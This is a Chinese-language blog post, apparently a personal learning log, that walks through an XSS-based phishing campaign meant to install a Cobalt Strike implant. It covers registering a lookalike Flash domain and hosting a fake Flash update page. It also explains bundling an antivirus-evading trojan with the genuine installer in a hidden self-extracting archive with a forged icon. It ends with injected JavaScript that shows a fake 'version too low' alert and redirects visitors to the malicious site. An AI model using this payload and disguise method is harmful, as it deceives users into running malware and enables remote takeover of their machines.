基于XSS的flash钓鱼上线Cobalt strike

题记

学习网安真是让人愉快啊，天天晚上睡觉之前都要想点技术问题，我是不是快魔怔了，今天打算搞XSS的flash钓鱼，完成一下写毕业论文的时候没有完成的事情。学习最有趣的地方就是在学习过程中发现新的不会的出现，下一个目标就有了，发现新的技术大佬的博客，骚姿势就有了。后面我将要完成fiddler抓app的包了，又是一次进阶。生命不息，进步不止。 --------2021年1月14日记录

加更：昨天没搞完，中间有点事，不过我感觉真是冥冥之中自有天意，这个项目做了一半，上午写着写着挖洞去了。下午搞了一半想着看看文章，结果看到个大佬做的我这个项目。真是，有时候真感觉缺什么就给你来什么。

准备工作

一台服务器，一个相似域名，一个免杀马。

服务器推荐https://my.vultr.com/，优点：用完即可销毁，按小时计费，可备份快照，系统推荐安装ubuntu

域名注册可以使用免费域名网站，例如，https://my.freenom.com/

网页构造

1、源码地址

https://github.com/r00tSe7en/Fake-flash.cn

伪造后是下面这个样子，当然我这是半成品，没买域名没挂cdn的。实战千万要全套。

2、修改木马下载地址

3、伪造好钓鱼页面，并且购买了个flash相似的域名 — fiash.cn

exe生成

这一步是用winrar比较好，因为本机没有在虚拟机里面完成的。

在flash官网找到安装包，下载下来与木马捆绑在一起。

注：本次免杀木马利用Foureye，参考我上篇文章：http://cnblogs.com/sunny11/p/14240151.html#_label4

1、同时选中官方文件和木马，创建自解压文件。

2、选择高级-自解压选项-更新-覆盖所有文件

3、设置解压路径

4、设置提取后运行的文件

5、设置模式全部隐藏

6、点击确定后生成文件

7、为了更具有迷惑性使用 ResourceHacker修改图标，将文件拖入后选择操作-替换图标。

注：找这个软件也是一个技术活，各种软件园的捆绑软件爽到死，最后我在吾爱破解找到的。大佬爱了爱了。

8、选中正常的flash文件，点击替换，并另存为保存，命名为官网相同文件名

9、最后改个名上传到网站即可。

利用

1、找到有XSS漏洞的网站，并在漏洞点插入下面xss代码

vesrion.js：

window.alert =function(name){

var iframe = document.createElement("IFRAME");

iframe.style.display="none";

iframe.setAttribute("src",'data:text/plain,');

document. documentElement.appendChild(iframe);

window.frames [0].window.alert(name);

iframe.parentNode.removeChild(iframe);

}

alert("您的FLASH版本过低，尝试升级后访问该页面! ");

window. location.href="http:// www.fiash.cn";

2、有人访问这个漏洞页面就会执行代码，点确定后跳转（懒得打码了）